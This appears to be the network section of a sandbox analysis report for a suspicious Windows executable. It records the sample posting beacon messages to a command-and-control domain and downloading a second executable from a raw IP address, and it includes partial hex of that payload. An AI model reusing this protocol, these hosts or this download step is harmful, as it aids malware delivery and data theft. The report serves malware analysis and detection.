Nov 20, 2024 06:41:03.038352966 CET	443	50079	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:03.038609028 CET	443	50079	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:03.038666010 CET	50079	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:03.038707018 CET	50079	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:03.038723946 CET	443	50079	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:03.038732052 CET	50079	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:03.038737059 CET	443	50079	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:03.320275068 CET	443	50080	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:03.320825100 CET	50080	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:03.320864916 CET	443	50080	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:03.321306944 CET	50080	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:03.321321964 CET	443	50080	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:03.601216078 CET	443	50080	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:03.601377010 CET	443	50080	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:03.601469994 CET	50080	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:03.601527929 CET	50080	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:03.601527929 CET	50080	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:41:03.601557970 CET	443	50080	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:03.601582050 CET	443	50080	13.107.246.45	192.168.2.5
Nov 20, 2024 06:41:32.354934931 CET	50082	443	192.168.2.5	142.250.74.196
Nov 20, 2024 06:41:32.354974031 CET	443	50082	142.250.74.196	192.168.2.5
Nov 20, 2024 06:41:32.355048895 CET	50082	443	192.168.2.5	142.250.74.196
Nov 20, 2024 06:41:32.373594999 CET	50082	443	192.168.2.5	142.250.74.196
Nov 20, 2024 06:41:32.373608112 CET	443	50082	142.250.74.196	192.168.2.5
Nov 20, 2024 06:41:33.014246941 CET	443	50082	142.250.74.196	192.168.2.5
Nov 20, 2024 06:41:33.014662027 CET	50082	443	192.168.2.5	142.250.74.196
Nov 20, 2024 06:41:33.014699936 CET	443	50082	142.250.74.196	192.168.2.5
Nov 20, 2024 06:41:33.015944004 CET	443	50082	142.250.74.196	192.168.2.5
Nov 20, 2024 06:41:33.016391993 CET	50082	443	192.168.2.5	142.250.74.196
Nov 20, 2024 06:41:33.016473055 CET	443	50082	142.250.74.196	192.168.2.5
Nov 20, 2024 06:41:33.059787989 CET	50082	443	192.168.2.5	142.250.74.196
Nov 20, 2024 06:41:42.915910959 CET	443	50082	142.250.74.196	192.168.2.5
Nov 20, 2024 06:41:42.916064024 CET	443	50082	142.250.74.196	192.168.2.5
Nov 20, 2024 06:41:42.916135073 CET	50082	443	192.168.2.5	142.250.74.196
Nov 20, 2024 06:41:44.582777023 CET	50082	443	192.168.2.5	142.250.74.196
Nov 20, 2024 06:41:44.582786083 CET	443	50082	142.250.74.196	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 06:40:06.368124962 CET	56952	53	192.168.2.5	1.1.1.1
Nov 20, 2024 06:40:06.407378912 CET	53	56952	1.1.1.1	192.168.2.5
Nov 20, 2024 06:40:27.621548891 CET	53	63299	1.1.1.1	192.168.2.5
Nov 20, 2024 06:40:28.619407892 CET	53	59843	1.1.1.1	192.168.2.5
Nov 20, 2024 06:40:30.750439882 CET	49264	53	192.168.2.5	1.1.1.1
Nov 20, 2024 06:40:30.750567913 CET	49627	53	192.168.2.5	1.1.1.1
Nov 20, 2024 06:40:31.780524015 CET	59438	53	192.168.2.5	1.1.1.1
Nov 20, 2024 06:40:31.780698061 CET	61486	53	192.168.2.5	1.1.1.1
Nov 20, 2024 06:40:32.216722965 CET	62016	53	192.168.2.5	1.1.1.1
Nov 20, 2024 06:40:32.216979980 CET	49508	53	192.168.2.5	1.1.1.1
Nov 20, 2024 06:40:32.223661900 CET	53	49508	1.1.1.1	192.168.2.5
Nov 20, 2024 06:40:32.223714113 CET	53	62016	1.1.1.1	192.168.2.5
Nov 20, 2024 06:40:35.588004112 CET	53	53761	1.1.1.1	192.168.2.5
Nov 20, 2024 06:40:36.178452015 CET	60347	53	192.168.2.5	1.1.1.1
Nov 20, 2024 06:40:36.178565025 CET	58206	53	192.168.2.5	1.1.1.1
Nov 20, 2024 06:40:45.740611076 CET	53	52287	1.1.1.1	192.168.2.5
Nov 20, 2024 06:41:04.741727114 CET	53	55472	1.1.1.1	192.168.2.5
Nov 20, 2024 06:41:27.492253065 CET	53	64200	1.1.1.1	192.168.2.5
Nov 20, 2024 06:41:27.767826080 CET	53	63448	1.1.1.1	192.168.2.5
Nov 20, 2024 06:41:56.272958040 CET	53	56040	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 20, 2024 06:40:31.825041056 CET	192.168.2.5	1.1.1.1	c2c2	(Port unreachable)	Destination Unreachable
Nov 20, 2024 06:40:37.816426039 CET	192.168.2.5	1.1.1.1	c265	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 06:40:06.368124962 CET	192.168.2.5	1.1.1.1	0x790d	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 20, 2024 06:40:30.750439882 CET	192.168.2.5	1.1.1.1	0xd434	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 06:40:30.750567913 CET	192.168.2.5	1.1.1.1	0x56c4	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 20, 2024 06:40:31.780524015 CET	192.168.2.5	1.1.1.1	0xe0fb	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 06:40:31.780698061 CET	192.168.2.5	1.1.1.1	0xec12	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 20, 2024 06:40:32.216722965 CET	192.168.2.5	1.1.1.1	0x62c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 06:40:32.216979980 CET	192.168.2.5	1.1.1.1	0x3022	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 20, 2024 06:40:36.178452015 CET	192.168.2.5	1.1.1.1	0xcd4e	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 06:40:36.178565025 CET	192.168.2.5	1.1.1.1	0x7314	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 06:40:06.407378912 CET	1.1.1.1	192.168.2.5	0x790d	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 06:40:06.407378912 CET	1.1.1.1	192.168.2.5	0x790d	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 06:40:30.756994963 CET	1.1.1.1	192.168.2.5	0xcca	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 06:40:30.756994963 CET	1.1.1.1	192.168.2.5	0xcca	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 06:40:30.756994963 CET	1.1.1.1	192.168.2.5	0xcca	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 20, 2024 06:40:30.757340908 CET	1.1.1.1	192.168.2.5	0x5737	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 06:40:30.757355928 CET	1.1.1.1	192.168.2.5	0xd434	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 06:40:30.757355928 CET	1.1.1.1	192.168.2.5	0xd434	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 06:40:30.757355928 CET	1.1.1.1	192.168.2.5	0xd434	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 06:40:30.757355928 CET	1.1.1.1	192.168.2.5	0xd434	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 20, 2024 06:40:30.758364916 CET	1.1.1.1	192.168.2.5	0x56c4	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 06:40:30.758364916 CET	1.1.1.1	192.168.2.5	0x56c4	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 06:40:31.614973068 CET	1.1.1.1	192.168.2.5	0xe60c	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 06:40:31.614973068 CET	1.1.1.1	192.168.2.5	0xe60c	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 06:40:31.614973068 CET	1.1.1.1	192.168.2.5	0xe60c	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 20, 2024 06:40:31.615242004 CET	1.1.1.1	192.168.2.5	0x10ce	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 06:40:31.787590981 CET	1.1.1.1	192.168.2.5	0xe0fb	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 06:40:31.787590981 CET	1.1.1.1	192.168.2.5	0xe0fb	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 06:40:31.787590981 CET	1.1.1.1	192.168.2.5	0xe0fb	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 06:40:31.787590981 CET	1.1.1.1	192.168.2.5	0xe0fb	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Nov 20, 2024 06:40:31.824934006 CET	1.1.1.1	192.168.2.5	0xec12	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 06:40:31.824934006 CET	1.1.1.1	192.168.2.5	0xec12	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 06:40:32.223661900 CET	1.1.1.1	192.168.2.5	0x3022	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 20, 2024 06:40:32.223714113 CET	1.1.1.1	192.168.2.5	0x62c	No error (0)	www.google.com		142.250.74.196	A (IP address)	IN (0x0001)	false
Nov 20, 2024 06:40:36.185832024 CET	1.1.1.1	192.168.2.5	0x7314	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 06:40:36.187261105 CET	1.1.1.1	192.168.2.5	0xcd4e	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 06:40:37.769459963 CET	1.1.1.1	192.168.2.5	0xac2b	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 06:40:37.816315889 CET	1.1.1.1	192.168.2.5	0x7fad	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 06:40:40.977951050 CET	1.1.1.1	192.168.2.5	0x7919	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 06:40:40.990366936 CET	1.1.1.1	192.168.2.5	0x94b	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

cook-rain.sbs

otelrules.azureedge.net

slscr.update.microsoft.com

https:

js.monitor.azure.com

wcpstatic.microsoft.com

www.bing.com

fs.microsoft.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49713	185.215.113.16	80	6500	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 06:40:18.682708025 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 20, 2024 06:40:19.389991045 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 05:40:19 GMT Content-Type: application/octet-stream Content-Length: 2817024 Last-Modified: Wed, 20 Nov 2024 05:27:00 GMT Connection: keep-alive ETag: "673d7324-2afc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 5a 50 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +ZP+`Ui` @ @.rsrc`2@.idata 8@orelqrnf*:@afozpggg @+@.taggant@`+"*@
Nov 20, 2024 06:40:19.390091896 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 06:40:19.390124083 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 06:40:19.390157938 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 06:40:19.390192032 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 06:40:19.390224934 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 06:40:19.390256882 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 06:40:19.390289068 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 06:40:19.390341043 CET	1236	IN	Data Raw: a3 88 c7 a9 d3 a4 cc bf 63 ab 62 56 75 10 80 00 2a d3 cf 33 08 0a da 4b 1b d7 1c 55 98 55 ff 05 d9 df 37 49 19 4c b9 08 6a 64 ff 15 5b f3 c7 4a 21 0b cc 94 12 b1 f2 09 97 ce 99 9f 16 f9 8c 01 73 47 e0 41 92 98 b9 d1 d4 09 61 5a 90 32 cc d0 f1 89 Data Ascii: cbVu*3KUU7ILjd[J!sGAaZ2fIF:p9?t"8$Nln^dN<>LY,tC(k6c%Y'QJH'HCH$2@~&ptr;H\JXR\::KTjzBYv&^r%l
Nov 20, 2024 06:40:19.390377045 CET	1000	IN	Data Raw: fa 1a ba ea 01 91 d1 43 d1 48 be 63 e9 49 c4 43 66 2a d1 5f d9 2d ca 6f f4 26 4b fb 07 89 0d 4a 99 9b c0 e2 9a 9e 82 93 df c1 cd fa 11 c6 19 bd 09 06 f8 fa 5f fd fa 58 dd e7 ce 45 85 16 be c7 18 2c bc 50 4b 08 28 52 1b 29 dc 22 e7 da c4 9e d3 17 Data Ascii: CHcICf_-o&KJ_XE,PK(R)"U.u>V!PoH! lmGR+gviC>'j-k]v#*A$OTn5`#E.T]DN?5'7X]Wo![?X<h
Nov 20, 2024 06:40:19.395596981 CET	1236	IN	Data Raw: 3b ab ec 85 16 50 71 97 86 3a 8a c5 3b 30 d5 89 50 4e dc 55 37 7b 8c 83 ef fa cb f7 e9 09 de b0 2a 23 00 2a df 6c 0b a2 49 ee 31 27 41 3b 0a b4 e8 8f fe 47 75 6d b1 56 04 28 11 1a 35 16 30 93 da 79 4d a5 f4 06 3a a5 45 69 2c de 6c 23 28 72 f6 6d Data Ascii: ;Pq:;0PNU7{#lI1'A;GumV(50yM:Ei,l#(rm pbv2R2$=E#hzO6U 0L`*m_#IC8<@[DU txl=b O @=tXInWd_q9wFFKbmLf7\yT#uE~

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	188.114.97.3	443	6500	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:06 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-20 05:40:06 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-20 05:40:07 UTC	984	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ts4o3k3s1jh376ila0jvqs1ic9; expires=Sat, 15-Mar-2025 23:26:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f%2BzhqCoQ0WpnmH6puZ62QAavB%2BAcZkkmIzEKH5C4zrN3oavzDAcEsKCXbZ6yFk9vfZFqUnzWnbff%2BdgSKXH3zEztaSvo0o39qBVgY%2B4Te1ygZENqxovWyYF7v32P%2BQlJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e561a77ba1d1768-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1671&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=904&delivery_rate=1729857&cwnd=188&unsent_bytes=0&cid=f4de50e29fa56d9c&ts=457&x=0"
2024-11-20 05:40:07 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-20 05:40:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	188.114.97.3	443	6500	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:07 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-20 05:40:07 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-20 05:40:08 UTC	982	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=soenbsqefptclslp9ktnm96sju; expires=Sat, 15-Mar-2025 23:26:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kQG%2Fik0659oKOExmNF%2BfBe3r6Xi1D8Otmojn%2B4zecKuvhwUl4PPSO9XevbDG3MGkWj7iXX0X1UzIdxSD4BZkCZ0R5AMCC%2FdbDut7W4DgtsB8kFuV6YMeSODOBhR3pqMn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e561a7db8ae43e8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1600&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=950&delivery_rate=1738095&cwnd=214&unsent_bytes=0&cid=018ba9d06a913164&ts=425&x=0"
2024-11-20 05:40:08 UTC	387	IN	Data Raw: 34 34 36 63 0d 0a 7a 76 6a 36 74 50 72 63 47 79 30 52 66 6f 44 32 42 46 4f 62 4e 78 7a 31 38 32 49 56 46 4b 6f 2b 6c 6d 52 4b 57 6d 53 72 64 42 69 31 32 6f 79 57 77 4f 67 33 44 32 49 62 6f 73 78 77 49 65 35 53 4d 4e 65 53 42 6a 63 75 7a 46 2f 36 46 79 39 32 52 74 30 5a 4f 76 53 65 6d 39 69 4a 75 54 63 50 64 41 61 69 7a 46 38 6f 75 56 4a 79 31 38 6c 41 63 48 37 49 58 2f 6f 47 4b 7a 45 4c 32 78 68 37 70 70 53 64 33 4a 2b 2f 66 30 78 39 45 2b 57 54 59 54 4c 78 57 58 57 59 6d 77 38 33 4f 49 68 62 37 45 5a 77 65 43 6e 4f 41 48 6d 44 6d 59 6e 66 32 4b 45 33 56 6a 4d 62 37 74 51 2b 63 66 70 53 66 70 6d 56 42 6e 35 38 77 6c 62 79 42 79 34 77 46 4d 49 53 63 4b 61 61 6e 74 32 56 74 6d 74 42 64 78 54 75 6c 57 73 79 75 52 73 2b 6b 49 6c 41 4c 7a 61 62 62 76 63 58 4f Data Ascii: 446czvj6tPrcGy0RfoD2BFObNxz182IVFKo+lmRKWmSrdBi12oyWwOg3D2IbosxwIe5SMNeSBjcuzF/6Fy92Rt0ZOvSem9iJuTcPdAaizF8ouVJy18lAcH7IX/oGKzEL2xh7ppSd3J+/f0x9E+WTYTLxWXWYmw83OIhb7EZweCnOAHmDmYnf2KE3VjMb7tQ+cfpSfpmVBn58wlbyBy4wFMIScKaant2VtmtBdxTulWsyuRs+kIlALzabbvcXO
2024-11-20 05:40:08 UTC	1369	IN	Data Raw: 42 74 38 72 4a 72 59 6d 4e 69 35 59 51 38 72 58 4d 47 52 64 6a 62 31 51 7a 79 74 30 52 38 35 62 34 68 62 2b 45 5a 77 65 41 37 4d 46 58 6d 6e 6c 5a 76 65 6b 36 78 35 58 58 55 52 35 34 5a 67 4e 50 64 66 66 59 57 62 44 6e 46 31 77 56 66 39 41 79 38 38 52 6f 64 57 66 62 54 61 77 4a 61 35 73 33 4a 44 65 51 76 69 31 48 6c 2f 34 42 56 35 6d 39 46 59 4e 33 4c 4a 57 50 55 43 4a 6a 59 43 78 52 42 30 6f 5a 57 65 33 4a 69 35 63 30 64 37 48 65 2b 66 61 54 48 38 57 48 71 52 6e 51 46 79 4e 6f 59 63 38 78 35 6f 59 45 62 6e 45 58 6d 2b 32 4b 33 56 6c 72 42 2b 57 54 4d 44 72 49 30 6d 4e 76 55 56 4a 74 65 66 42 58 68 6b 79 55 37 78 43 44 6f 30 41 38 38 62 65 61 4b 61 6e 64 47 56 73 48 39 49 63 42 54 6d 6c 57 67 39 38 31 5a 36 6c 4e 46 4f 4e 33 48 51 48 4b 78 47 47 54 73 43 Data Ascii: Bt8rJrYmNi5YQ8rXMGRdjb1Qzyt0R85b4hb+EZweA7MFXmnlZvek6x5XXUR54ZgNPdffYWbDnF1wVf9Ay88RodWfbTawJa5s3JDeQvi1Hl/4BV5m9FYN3LJWPUCJjYCxRB0oZWe3Ji5c0d7He+faTH8WHqRnQFyNoYc8x5oYEbnEXm+2K3VlrB+WTMDrI0mNvUVJtefBXhkyU7xCDo0A88beaKandGVsH9IcBTmlWg981Z6lNFON3HQHKxGGTsC
2024-11-20 05:40:08 UTC	1369	IN	Data Raw: 75 51 6c 74 47 63 73 6e 42 43 64 52 7a 6c 6b 47 4d 6a 2f 46 78 79 6d 39 46 4f 4e 33 48 51 48 4b 78 47 42 7a 38 51 79 6a 6c 35 76 5a 50 59 79 64 61 6e 4f 55 68 2f 58 4c 72 55 59 54 54 78 58 6e 69 66 6b 52 4a 79 65 4d 4e 64 2f 67 41 70 4e 51 72 50 46 6e 75 73 6e 4a 54 57 6e 37 6c 72 58 58 59 61 38 4a 34 6d 66 37 6c 53 5a 74 66 4a 51 45 46 6d 33 30 33 69 52 42 30 37 43 4d 63 52 62 4f 79 46 31 73 2f 59 75 58 55 50 4b 31 7a 70 6c 47 6f 32 38 56 4e 36 6e 35 34 50 66 6d 54 4a 55 50 6f 55 4c 7a 67 50 78 78 6c 32 70 5a 65 66 32 35 4f 30 64 45 74 30 48 61 4c 61 4a 6a 62 68 46 53 62 58 70 78 42 36 65 75 5a 58 2b 41 39 6f 4a 30 6a 51 56 6e 32 67 32 73 43 57 6e 4c 4a 78 52 58 77 56 36 4a 35 70 4f 50 6c 64 64 35 36 53 41 48 74 77 79 56 44 34 43 79 30 